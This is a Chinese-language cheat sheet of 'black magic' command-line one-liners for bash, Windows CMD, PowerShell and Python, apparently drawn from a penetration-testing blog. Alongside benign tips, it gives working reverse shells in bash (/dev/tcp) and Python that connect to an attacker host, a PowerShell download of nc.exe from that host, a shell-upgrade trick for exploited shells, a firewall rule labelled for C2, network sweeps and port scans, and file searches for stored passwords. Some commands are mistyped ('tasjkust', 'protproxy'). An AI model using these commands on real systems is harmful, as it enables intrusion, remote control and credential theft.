黑魔法命令

一、BASH

1.将一个分区通过 ssh 加密通道压缩传输到 10.10.10.10 设备上

```
dd if=/dev/rdisk0s1s2 bs=65536 conv=noerror,sync | ssh -C
user@10.10.10.10 "cat >/tmp/image.dd"
```

2.验证指定 IP 的端口服务是否一直在开通状态，每隔一秒刷新一次，如果端口开通，则输出 Service is up。

```
while (true); do nc -vv -z -w3 10.10.10.10 80 > /dev/null && echo -e
"Service is up"; sleep 1;done
```

3.创建一个反弹 shell 到指定的 ip 上。

```
bash -i >& /dev/tcp/10.10.10.10/8080 0>&1
```

4.用系统自带 base64 做编码解码处理，很方便。

```
echo ‘Hello, World!’ | base64
把 ‘Hello, World’ 字符串做 base64 编码
echo ’XXXXXXXX’ | base64 -d
将编码后的字符串 ‘XXXXXXX’ 做解码
也可以先输入 base64 -d 然后输入要解码的字符，再按 Ctrl+d 进行解码
```

5.克隆一个网站到本地，比如 wget -r -mH www.baidu.com

```
wget -r -mH $URL
```

6.根据文件名从指定路径中寻找包含特定字符串的文件，并将包含该字符串的行和该文件名输出。

```
find /PATH/TO/DIRECTORY -name "filename" -type f -exec grep -i "STRING"
{} \;  -print 2>/dev/null
```

7.呵呵，这个是用 ccat 查看文件内容时，给一些代码中特殊字符加上颜色，看代码方便很多。

```
alias ccat='pygmentize -O bg=dark,style=colorful'
```

8.查看自己的公网 IP

```
curl -4 icanhazip.com
wget -qO- ifconfig.me/ip
补充两个
curl ipinfo.io
```

```
curl ip.cn
```

9.多聪明的命令，给自己的上一条命令自动加上 sudo,并命一个简短的别名，是不是经常忘记输入 sudo，这下世界美丽了不少吧。

```
alias gah='sudo $(history -p \!\!)'
```

二、CMD KUNG-FU

1.这个命令用于用电脑的无线网卡创建一个无线热点，不过要看你的网卡是不是支持承载网络，不支持的话就没办法建立热点。

```
netsh wlan set hostednetwork mode=allow ssid=<MYSSID> key=<MYPASSWORD>
&& netsh wlan start hostednetwork
```

```
netsh wlan drivers 可以查看网卡支不支持承载网络。
```

2.Windows 下的端口转发，可以支持 v4tov4、v4tov6、v6tov6、v6tov4，windows 自带的，很方便。

```
netsh interface protproxy add v4tov6 listenport=<LPORT>
listenaddress=0.0.0.0 connectport=<PORT> connectaddress=<RHOST>
```

3.查询指定 IP 或者端口的连接，并每秒刷新一次。

```
netstat -naob 1 | find "<IPADDR or PORT>"
```

4.获取正在运行进程的一些详细信息。

```
wmic process list full
```

5.显示每个进程对应的服务。

```
tasjkust /svc
```

三、PowerShell

1.用 ping 命令去扫描整个 C 段

```
1..255 | % {echo "192.168.253.$_"; ping -n 1 -w 100 192.168.253.$_} |
Select-String ttl
```

补充个 cmd 的

```
for /L %i in (1,1,255) do @ping 192.168.253.%i -n 1 -w 100 | find /i
"ttl"
```

2. 从 http 服务器下载文件保存到本地

```
Win 7:      (New-Object
System.Net.Webclient).DownloadFile("http://10.10.10.10/nc.exe","c:\
nc.exe")
```

Win8 and later: wget "http://10.10.10.10/nc.exe" -outfile "c:\nc.exe"

3.查看 Windows 内置防火墙的规则，非常详细，各个程序入站出站的规则和端口等详细信息都有。

```
Get-NetFirewallRule -all | Out-GridView
```

```
Get-NetFIrewallRule -all | Export-csv <filename.csv>
```

将查询结果导出到一个 csv 文件中

4.给 Windows 内置防火墙增加一条准许的规则。Win7 测试无法用，Win10 可以。

```
New-NetFIrewallRule -Action Allow -DisplayName Pentester-C2 -Remoteaddress <IPADDR>
```

5.用 powershell 来端口扫描

```
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.100",$_)) "Port $_ is open!"} 2>$null
```

扫描一个 IP 范围是否开放指定端口

```
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.253.$ip}
```

设定 IP 范围和端口范围进行扫描(速度比较慢)

```
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
```

6.从指定目录的文件中寻找文件内容包含 STRING 字符的文件，并显示该行内容和文件名。一般用于查询记录的密码和配置了。

```
ls -r c:\PATH\DIRECTORY file | % {Select-String -path $_ -pattern STRING}
```

四、python

1.开启一个简易的 HTTP 服务器，很方便有没有。

```
python 2.x
python -m SimpleHTTPServer 8000
python 3.x
python3 -m http.server 8000
```

2.用 python 从 HTTP 服务器来下载文件，或者是整站的页面。

```
python 2.x
python -c 'import urllib2; print urllib2.urlopen("http://10.10.10.10").read()' | tee /tmp/file.html
python 3.x
```

```
python3 -c 'import
urllib.request;urllib.request.urlretrieve("http://10.10.10.10","/tm
p/10.10.10.html")'
```

3.将一个反弹回来或是漏洞利用得到的 shell 转换为一个类似终端的 shell。这样 shell 就可以交互了。

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

4.用 python 创建一个反弹 shell，类似 nc。Windows 和 Linux 通用

```
python -c "exec(\"import socket, subprocess;s =
socket.socket();s.connect(('<IPADDR>',<PORT>))\nwhile 1: proc =
subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read()
)\")"
```

资源推荐:

https://pen-testing.sans.org/blog/category/command-line-kung-fu (命令都是来自这家安全培训公司，他们网站上有命令演示，和每个参数的详解，感兴趣可以去看看，需翻墙)

https://mva.microsoft.com/zh-cn/training-courses/-power-shell-30-14443?l=Phq2m1PkB_3500115888 (PowerShell 作者出的教程视频，中文字幕、中文字幕、中文字幕)